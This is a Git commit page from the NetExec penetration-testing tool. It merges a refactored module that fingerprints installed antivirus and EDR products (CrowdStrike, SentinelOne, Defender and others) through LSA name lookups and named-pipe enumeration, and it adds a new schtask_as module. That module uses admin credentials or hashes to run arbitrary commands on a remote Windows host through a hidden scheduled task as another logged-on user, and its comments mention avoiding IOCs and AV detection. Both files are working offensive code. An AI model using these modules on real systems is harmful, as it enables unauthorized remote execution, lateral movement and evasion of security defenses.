Merge branch 'develop' into marshall_cleanup

Signed-off-by: Marshall Hallenbeck <Marshall.Hallenbeck@gmail.com>
main
Marshall Hallenbeck 2023-10-12 11:17:46 -04:00 committed by GitHub
commit bbc661ba38
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 451 additions and 326 deletions

View File

@ -2,11 +2,12 @@
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
# All credit to @an0n_r0 # All credit to @an0n_r0
# project : https://github.com/tothi/serviceDetector # https://github.com/tothi/serviceDetector
# Module by @mpgn_x64
# https://twitter.com/mpgn_x64
from impacket.dcerpc.v5 import lsat, lsad from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5 import transport
import pathlib import pathlib
@ -27,84 +28,83 @@ class NXCModule:
self.module_options = module_options self.module_options = module_options
def options(self, context, module_options): def options(self, context, module_options):
""" """ """
"""
pass pass
def on_login(self, context, connection): def on_login(self, context, connection):
success = 0 target = self._get_target(connection)
results = {}
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
context.log.debug(f"Detecting installed services on {target} using LsarLookupNames()...") context.log.debug(f"Detecting installed services on {target} using LsarLookupNames()...")
results = self._detect_installed_services(context, connection, target)
self.detect_running_processes(context, connection, results)
self.dump_results(results, connection.hostname, context)
def _get_target(self, connection):
return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
def _detect_installed_services(self, context, connection, target):
results = {}
try: try:
lsa = LsaLookupNames( lsa = LsaLookupNames(
connection.domain, domain=connection.domain,
connection.username, username=connection.username,
connection.password, password=connection.password,
target, remote_name=target,
connection.kerberos, do_kerberos=connection.kerberos,
connection.domain, kdcHost=connection.domain,
connection.lmhash, lmhash=connection.lmhash,
connection.nthash, nthash=connection.nthash,
connection.aesKey, aesKey=connection.aesKey
) )
dce, rpctransport = lsa.connect()
dce, _ = lsa.connect()
policyHandle = lsa.open_policy(dce) policyHandle = lsa.open_policy(dce)
for i, product in enumerate(conf["products"]): for product in conf["products"]:
for service in product["services"]: for service in product["services"]:
try: try:
lsa.LsarLookupNames(dce, policyHandle, service["name"]) lsa.LsarLookupNames(dce, policyHandle, service["name"])
context.log.info( context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
f"Detected installed service on {connection.host}: {product['name']} {service['description']}") results.setdefault(product["name"], {"services": []})["services"].append(service)
if product["name"] not in results:
results[product["name"]] = {"services": []}
results[product["name"]]["services"].append(service)
except Exception: except Exception:
pass pass
success += 1
except Exception as e: except Exception as e:
context.log.fail(str(e)) context.log.fail(str(e))
return results
def detect_running_processes(self, context, connection, results):
context.log.info(f"Detecting running processes on {connection.host} by enumerating pipes...") context.log.info(f"Detecting running processes on {connection.host} by enumerating pipes...")
try: try:
for f in connection.conn.listPath("IPC$", "\\*"): for f in connection.conn.listPath("IPC$", "\\*"):
fl = f.get_longname() fl = f.get_longname()
for i, product in enumerate(conf["products"]): for product in conf["products"]:
for pipe in product["pipes"]: for pipe in product["pipes"]:
if pathlib.PurePath(fl).match(pipe["name"]): if pathlib.PurePath(fl).match(pipe["name"]):
context.log.debug( context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})") prod_results = results.setdefault(product["name"], {})
if product["name"] not in results: prod_results.setdefault("pipes", []).append(pipe)
results[product["name"]] = {}
if "pipes" not in results[product["name"]]:
results[product["name"]]["pipes"] = []
results[product["name"]]["pipes"].append(pipe)
success += 1
except Exception as e: except Exception as e:
context.log.debug(str(e)) context.log.debug(str(e))
self.dump_results(results, connection.hostname, success, context) def dump_results(self, results, remoteName, context):
if not results:
context.log.highlight(f"Found NOTHING!")
return
def dump_results(self, results, remoteName, success, context): for item, data in results.items():
# out1 = "On host {} found".format(remoteName) message = f"Found {item}"
out1 = "" if "services" in data:
for item in results: message += " INSTALLED"
out = out1 if "pipes" in data:
if "services" in results[item]: message += " and RUNNING"
out += f"{item} INSTALLED" elif "pipes" in data:
if "pipes" in results[item]: message += " RUNNING"
out += " and it seems to be RUNNING" context.log.highlight(message)
# else:
# for product in conf['products']:
# if (item == product['name']) and (len(product['pipes']) == 0):
# out += " (NamedPipe for this service was not provided in config)"
elif "pipes" in results[item]:
out += f" {item} RUNNING"
context.log.highlight(out)
if (len(results) < 1) and (success > 1):
out = out1 + " NOTHING!"
context.log.highlight(out)
class LsaLookupNames: class LsaLookupNames:
@ -123,7 +123,7 @@ class LsaLookupNames:
username="", username="",
password="", password="",
remote_name="", remote_name="",
k=False, do_kerberos=False,
kdcHost="", kdcHost="",
lmhash="", lmhash="",
nthash="", nthash="",
@ -134,7 +134,7 @@ class LsaLookupNames:
self.password = password self.password = password
self.remoteName = remote_name self.remoteName = remote_name
self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]" self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
self.doKerberos = k self.doKerberos = do_kerberos
self.lmhash = lmhash self.lmhash = lmhash
self.nthash = nthash self.nthash = nthash
self.aesKey = aesKey self.aesKey = aesKey
@ -210,71 +210,56 @@ class LsaLookupNames:
conf = { conf = {
"products": [ "products": [
{
"name": "Acronis Cyber Protect Active Protection",
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
"pipes": []
},
{ {
"name": "Bitdefender", "name": "Bitdefender",
"services": [ "services": [
{ {"name": "bdredline_agent", "description": "Bitdefender Agent RedLine Service"},
"name": "bdredline_agent",
"description": "Bitdefender Agent RedLine Service",
},
{"name": "BDAuxSrv", "description": "Bitdefender Auxiliary Service"}, {"name": "BDAuxSrv", "description": "Bitdefender Auxiliary Service"},
{ {"name": "UPDATESRV", "description": "Bitdefender Desktop Update Service"},
"name": "UPDATESRV",
"description": "Bitdefender Desktop Update Service",
},
{"name": "VSSERV", "description": "Bitdefender Virus Shield"}, {"name": "VSSERV", "description": "Bitdefender Virus Shield"},
{"name": "bdredline", "description": "Bitdefender RedLine Service"}, {"name": "bdredline", "description": "Bitdefender RedLine Service"},
{"name": "EPRedline", "description": "Bitdefender Endpoint Redline Service"}, {"name": "EPRedline", "description": "Bitdefender Endpoint Redline Service"},
{"name": "EPUpdateService", "description": "Bitdefender Endpoint Update Service"}, {"name": "EPUpdateService", "description": "Bitdefender Endpoint Update Service"},
{"name": "EPSecurityService", "description": "Bitdefender Endpoint Security Service"}, {"name": "EPSecurityService", "description": "Bitdefender Endpoint Security Service"},
{"name": "EPProtectedService", "description": "Bitdefender Endpoint Protected Service"}, {"name": "EPProtectedService", "description": "Bitdefender Endpoint Protected Service"},
{"name": "EPIntegrationService", "description": "Bitdefender Endpoint Integration Service"}, {"name": "EPIntegrationService", "description": "Bitdefender Endpoint Integration Service"}
], ],
"pipes": [ "pipes": [
{ {"name": "\\bdConnector\\ServiceControl\\EPSecurityService.exe", "processes": ["EPConsole.exe"]},
"name": "\\bdConnector\\ServiceControl\\EPSecurityService.exe", {"name": "etw_sensor_pipe_ppl", "processes": ["EPProtectedService.exe"]},
"processes": ["EPConsole.exe"], {"name": "local\\msgbus\\antitracker.low\\*", "processes": ["bdagent.exe"]},
}, {"name": "local\\msgbus\\aspam.actions.low\\*", "processes": ["bdagent.exe"]},
{ {"name": "local\\msgbus\\bd.process.broker.pipe", "processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"]},
"name": "etw_sensor_pipe_ppl",
"processes": ["EPProtectedService.exe"],
},
{
"name": "local\\msgbus\\antitracker.low\\*",
"processes": ["bdagent.exe"],
},
{
"name": "local\\msgbus\\aspam.actions.low\\*",
"processes": ["bdagent.exe"],
},
{
"name": "local\\msgbus\\bd.process.broker.pipe",
"processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"],
},
{"name": "local\\msgbus\\bdagent*", "processes": ["bdagent.exe"]}, {"name": "local\\msgbus\\bdagent*", "processes": ["bdagent.exe"]},
{ {"name": "local\\msgbus\\bdauxsrv", "processes": ["bdagent.exe", "bdntwrk.exe"]}
"name": "local\\msgbus\\bdauxsrv", ]
"processes": ["bdagent.exe", "bdntwrk.exe"],
},
],
}, },
{ {
"name": "Windows Defender", "name": "Carbon Black App Control",
"services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
"pipes": []
},
{
"name": "CrowdStrike",
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
},
{
"name": "Cybereason",
"services": [ "services": [
{ {"name": "CybereasonActiveProbe", "description": "Cybereason Active Probe"},
"name": "WinDefend", {"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"},
"description": "Windows Defender Antivirus Service", {"name": "CybereasonBlocki", "description": "Cybereason Execution Prevention"}
},
{
"name": "Sense",
"description": "Windows Defender Advanced Threat Protection Service",
},
{
"name": "WdNisSvc",
"description": "Windows Defender Antivirus Network Inspection Service",
},
], ],
"pipes": [], "pipes": [
{"name": "CybereasonAPConsoleMinionHostIpc_*", "processes": ["minionhost.exe"]},
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
]
}, },
{ {
"name": "ESET", "name": "ESET",
@ -288,257 +273,108 @@ conf = {
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}], "pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
}, },
{ {
"name": "CrowdStrike", "name": "G DATA Security Client",
"services": [ "services": [
{ {"name": "AVKWCtl", "description": "Anti-virus Kit Window Control"},
"name": "CSFalconService", {"name": "AVKProxy", "description": "G Data AntiVirus Proxy Service"},
"description": "CrowdStrike Falcon Sensor Service", {"name": "GDScan", "description": "GDSG Data AntiVirus Scan Service"}
}
], ],
"pipes": [ "pipes": [
{ {"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]}
"name": "CrowdStrike\\{*", ]
"processes": ["CSFalconContainer.exe", "CSFalconService.exe"],
}
],
},
{
"name": "SentinelOne",
"services": [
{
"name": "SentinelAgent",
"description": "SentinelOne Endpoint Protection Agent",
},
{
"name": "SentinelStaticEngine",
"description": "Manage static engines for SentinelOne Endpoint Protection",
},
{
"name": "LogProcessorService",
"description": "Manage logs for SentinelOne Endpoint Protection",
},
],
"pipes": [
{"name": "SentinelAgentWorkerCert.*", "processes": [""]},
{"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]},
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]},
],
},
{
"name": "Carbon Black App Control",
"services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
"pipes": [],
},
{
"name": "Cybereason",
"services": [
{
"name": "CybereasonActiveProbe",
"description": "Cybereason Active Probe",
},
{"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"},
{
"name": "CybereasonBlocki",
"description": "Cybereason Execution Prevention",
},
],
"pipes": [
{
"name": "CybereasonAPConsoleMinionHostIpc_*",
"processes": ["minionhost.exe"],
},
{
"name": "CybereasonAPServerProxyIpc_*",
"processes": ["minionhost.exe"],
},
],
}, },
{ {
"name": "Kaspersky Security for Windows Server", "name": "Kaspersky Security for Windows Server",
"services": [ "services": [
{ {"name": "kavfsslp", "description": "Kaspersky Security Exploit Prevention Service"},
"name": "kavfsslp", {"name": "KAVFS", "description": "Kaspersky Security Service"},
"description": "Kaspersky Security Exploit Prevention Service", {"name": "KAVFSGT", "description": "Kaspersky Security Management Service"},
}, {"name": "klnagent", "description": "Kaspersky Security Center"}
{
"name": "KAVFS",
"description": "Kaspersky Security Service",
},
{
"name": "KAVFSGT",
"description": "Kaspersky Security Management Service",
},
{
"name": "klnagent",
"description": "Kaspersky Security Center",
},
], ],
"pipes": [ "pipes": [
{ {"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
"name": "Exploit_Blocker", ]
"processes": ["kavfswh.exe"],
},
],
}, },
{ {
"name": "Trend Micro Endpoint Security", "name": "Panda Adaptive Defense 360",
"services": [ "services": [
{ {"name": "PandaAetherAgent", "description": "Panda Endpoint Agent"},
"name": "Trend Micro Endpoint Basecamp", {"name": "PSUAService", "description": "Panda Product Service"},
"description": "Trend Micro Endpoint Basecamp", {"name": "NanoServiceMain", "description": "Panda Cloud Antivirus Service"}
},
{
"name": "TMBMServer",
"description": "Trend Micro Unauthorized Change Prevention Service",
},
{
"name": "Trend Micro Web Service Communicator",
"description": "Trend Micro Web Service Communicator",
},
{
"name": "TMiACAgentSvc",
"description": "Trend Micro Application Control Service (Agent)",
},
{
"name": "CETASvc",
"description": "Trend Micro Cloud Endpoint Telemetry Service",
},
{
"name": "iVPAgent",
"description": "Trend Micro Vulnerability Protection Service (Agent)",
},
], ],
"pipes": [ "pipes": [
{ {"name": "NNS_API_IPC_SRV_ENDPOINT", "processes": ["PSANHost.exe"]},
"name": "IPC_XBC_XBC_AGENT_PIPE_*", {"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]}
"processes": ["EndpointBasecamp.exe"], ]
}, },
{ {
"name": "iacagent_*", "name": "SentinelOne",
"processes": ["TMiACAgentSvc.exe"], "services": [
}, {"name": "SentinelAgent", "description": "SentinelOne Endpoint Protection Agent"},
{ {"name": "SentinelStaticEngine", "description": "Manage static engines for SentinelOne Endpoint Protection"},
"name": "OIPC_LWCS_PIPE_*", {"name": "LogProcessorService", "description": "Manage logs for SentinelOne Endpoint Protection"}
"processes": ["TmListen.exe"],
},
{
"name": "Log_ServerNamePipe",
"processes": ["LogServer.exe"],
},
{
"name": "OIPC_NTRTSCAN_PIPE_*",
"processes": ["Ntrtscan.exe"],
},
], ],
"pipes": [
{"name": "SentinelAgentWorkerCert.*", "processes": [""]},
{"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]},
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}
]
}, },
{ {
"name": "Symantec Endpoint Protection", "name": "Symantec Endpoint Protection",
"services": [ "services": [
{ {"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
"name": "SepMasterService", {"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
"description": "Symantec Endpoint Protection", {"name": "SNAC", "description": "Symantec Network Access Control"}
},
{
"name": "SepScanService",
"description": "Symantec Endpoint Protection Scan Services",
},
{"name": "SNAC", "description": "Symantec Network Access Control"},
], ],
"pipes": [], "pipes": []
}, },
{ {
"name": "Sophos Intercept X", "name": "Sophos Intercept X",
"services": [ "services": [
{ {"name": "SntpService", "description": "Sophos Network Threat Protection"},
"name": "SntpService", {"name": "Sophos Endpoint Defense Service", "description": "Sophos Endpoint Defense Service"},
"description": "Sophos Network Threat Protection" {"name": "Sophos File Scanner Service", "description": "Sophos File Scanner Service"},
}, {"name": "Sophos Health Service", "description": "Sophos Health Service"},
{ {"name": "Sophos Live Query", "description": "Sophos Live Query"},
"name": "Sophos Endpoint Defense Service", {"name": "Sophos Managed Threat Response", "description": "Sophos Managed Threat Response"},
"description": "Sophos Endpoint Defense Service" {"name": "Sophos MCS Agent", "description": "Sophos MCS Agent"},
}, {"name": "Sophos MCS Client", "description": "Sophos MCS Client"},
{ {"name": "Sophos System Protection Service", "description": "Sophos System Protection Service"}
"name": "Sophos File Scanner Service",
"description": "Sophos File Scanner Service"
},
{
"name": "Sophos Health Service",
"description": "Sophos Health Service"
},
{
"name": "Sophos Live Query",
"description": "Sophos Live Query"
},
{
"name": "Sophos Managed Threat Response",
"description": "Sophos Managed Threat Response"
},
{
"name": "Sophos MCS Agent",
"description": "Sophos MCS Agent"
},
{
"name": "Sophos MCS Client",
"description": "Sophos MCS Client"
},
{
"name": "Sophos System Protection Service",
"description": "Sophos System Protection Service"
}
], ],
"pipes": [ "pipes": [
{"name": "SophosUI", "processes": [""]}, {"name": "SophosUI", "processes": [""]},
{"name": "SophosEventStore", "processes": [""]}, {"name": "SophosEventStore", "processes": [""]},
{"name": "sophos_deviceencryption", "processes": [""]}, {"name": "sophos_deviceencryption", "processes": [""]},
{"name": "sophoslivequery_*", "processes": [""]}, {"name": "sophoslivequery_*", "processes": [""]}
], ]
}, },
{ {
"name": "G DATA Security Client", "name": "Trend Micro Endpoint Security",
"services": [ "services": [
{ {"name": "Trend Micro Endpoint Basecamp", "description": "Trend Micro Endpoint Basecamp"},
"name": "AVKWCtl", {"name": "TMBMServer", "description": "Trend Micro Unauthorized Change Prevention Service"},
"description": "Anti-virus Kit Window Control", {"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"},
}, {"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"},
{ {"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"},
"name": "AVKProxy", {"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"}
"description": "G Data AntiVirus Proxy Service"
},
{
"name": "GDScan",
"description": "GDSG Data AntiVirus Scan Service",
},
], ],
"pipes": [ "pipes": [
{ {"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]},
"name": "exploitProtectionIPC", {"name": "iacagent_*", "processes": ["TMiACAgentSvc.exe"]},
"processes": ["AVKWCtlx64.exe"], {"name": "OIPC_LWCS_PIPE_*", "processes": ["TmListen.exe"]},
}, {"name": "Log_ServerNamePipe", "processes": ["LogServer.exe"]},
], {"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
]
}, },
{ {
"name": "Panda Adaptive Defense 360", "name": "Windows Defender",
"services": [ "services": [
{ {"name": "WinDefend", "description": "Windows Defender Antivirus Service"},
"name": "PandaAetherAgent", {"name": "Sense", "description": "Windows Defender Advanced Threat Protection Service"},
"description": "Panda Endpoint Agent", {"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
},
{"name": "PSUAService", "description": "Panda Product Service"},
{
"name": "NanoServiceMain",
"description": "Panda Cloud Antivirus Service",
},
], ],
"pipes": [ "pipes": []
{ }
"name": "NNS_API_IPC_SRV_ENDPOINT",
"processes": ["PSANHost.exe"],
},
{
"name": "PSANMSrvcPpal",
"processes": ["PSUAService.exe"],
},
],
},
] ]
} }

289
nxc/modules/schtask_as.py Normal file
View File

@ -0,0 +1,289 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
from time import sleep
from datetime import datetime
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import tsch, transport
from nxc.helpers.misc import gen_random_string
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
class NXCModule:
"""
Execute a scheduled task remotely as a already connected user by @Defte_
Thanks @Shad0wC0ntr0ller for the idea of removing the hardcoded date that could be used as an IOC
"""
def options(self, context, module_options):
"""
CMD Command to execute
USER User to execute command as
"""
self.cmd = self.user = self.time = None
if "CMD" in module_options:
self.cmd = module_options["CMD"]
if "USER" in module_options:
self.user = module_options["USER"]
name = "schtask_as"
description = "Remotely execute a scheduled task as a logged on user"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def on_admin_login(self, context, connection):
self.logger = context.log
if self.cmd is None:
self.logger.fail("You need to specify a CMD to run")
return 1
if self.user is None:
self.logger.fail("You need to specify a USER to run the command as")
return 1
self.logger.display("Connecting to the remote Service control endpoint")
try:
exec_method = TSCH_EXEC(
connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
connection.smb_share_name,
connection.username,
connection.password,
connection.domain,
self.user,
self.cmd,
connection.kerberos,
connection.aesKey,
connection.kdcHost,
connection.hash,
self.logger,
connection.args.get_output_tries,
"C$" # This one shouldn't be hardcoded but I don't know where to retrive the info
)
self.logger.display(f"Executing {self.cmd} as {self.user}")
output = exec_method.execute(self.cmd, True)
try:
if not isinstance(output, str):
output = output.decode(connection.args.codec)
except UnicodeDecodeError:
# Required to decode specific french caracters otherwise it'll print b"<result>"
output = output.decode("cp437")
if output:
self.logger.highlight(output)
except Exception as e:
if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
self.logger.fail("Task was not run, seems like the specified user has no active session on the target")
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
self.__target = target
self.__username = username
self.__password = password
self.__domain = domain
self.__share_name = share_name
self.__lmhash = ""
self.__nthash = ""
self.__outputBuffer = b""
self.__retOutput = False
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__tries = tries
self.__output_filename = None
self.__share = share
self.logger = logger
self.cmd = cmd
self.user = user
if hashes is not None:
if hashes.find(":") != -1:
self.__lmhash, self.__nthash = hashes.split(":")
else:
self.__nthash = hashes
if self.__password is None:
self.__password = ""
stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
self.__rpctransport.set_credentials(
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
)
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
def execute(self, command, output=False):
self.__retOutput = output
self.execute_handler(command)
return self.__outputBuffer
def output_callback(self, data):
self.__outputBuffer = data
def get_current_date(self):
# Get current date and time
now = datetime.now()
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
return now.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
def gen_xml(self, command, fileless=False):
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<CalendarTrigger>
<StartBoundary>{self.get_current_date()}</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
<UserId>{self.user}</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="LocalSystem">
<Exec>
<Command>cmd.exe</Command>
"""
if self.__retOutput:
self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(6)}"
if fileless:
local_ip = self.__rpctransport.get_socket().getsockname()[0]
argument_xml = f" <Arguments>/C {command} &gt; \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2&gt;&amp;1</Arguments>"
else:
argument_xml = f" <Arguments>/C {command} &gt; {self.__output_filename} 2&gt;&amp;1</Arguments>"
elif self.__retOutput is False:
argument_xml = f" <Arguments>/C {command}</Arguments>"
self.logger.debug(f"Generated argument XML: {argument_xml}")
xml += argument_xml
xml += """
</Exec>
</Actions>
</Task>
"""
return xml
def execute_handler(self, command, fileless=False):
dce = self.__rpctransport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
tmpName = gen_random_string(8)
xml = self.gen_xml(command, fileless)
self.logger.info(f"Task XML: {xml}")
taskCreated = False
self.logger.info(f"Creating task \\{tmpName}")
try:
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
except Exception as e:
if "ERROR_NONE_MAPPED" in str(e):
self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task")
if e.error_code and hex(e.error_code) == "0x80070005":
self.logger.fail("Schtask_as: Create schedule task got blocked.")
if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
self.logger.fail(f"User {self.user} does not exist in the domain.")
else:
self.logger.fail(f"Schtask_as: Create schedule task failed: {e}")
return
else:
taskCreated = True
self.logger.info(f"Running task \\{tmpName}")
tsch.hSchRpcRun(dce, f"\\{tmpName}")
done = False
while not done:
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}")
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
if resp["pLastRuntime"]["wYear"] != 0:
done = True
else:
sleep(2)
self.logger.info(f"Deleting task \\{tmpName}")
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
taskCreated = False
if taskCreated is True:
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
if self.__retOutput:
if fileless:
while True:
try:
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename), "r") as output:
self.output_callback(output.read())
break
except IOError:
sleep(2)
else:
smbConnection = self.__rpctransport.get_smb_connection()
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("Schtask_as: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'.")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"Schtask_as: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
if "SHARING" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
sleep(3)
tries += 1
else:
self.logger.debug(str(e))
if self.__outputBuffer:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
smbConnection.deleteFile(self.__share, self.__output_filename)
dce.disconnect()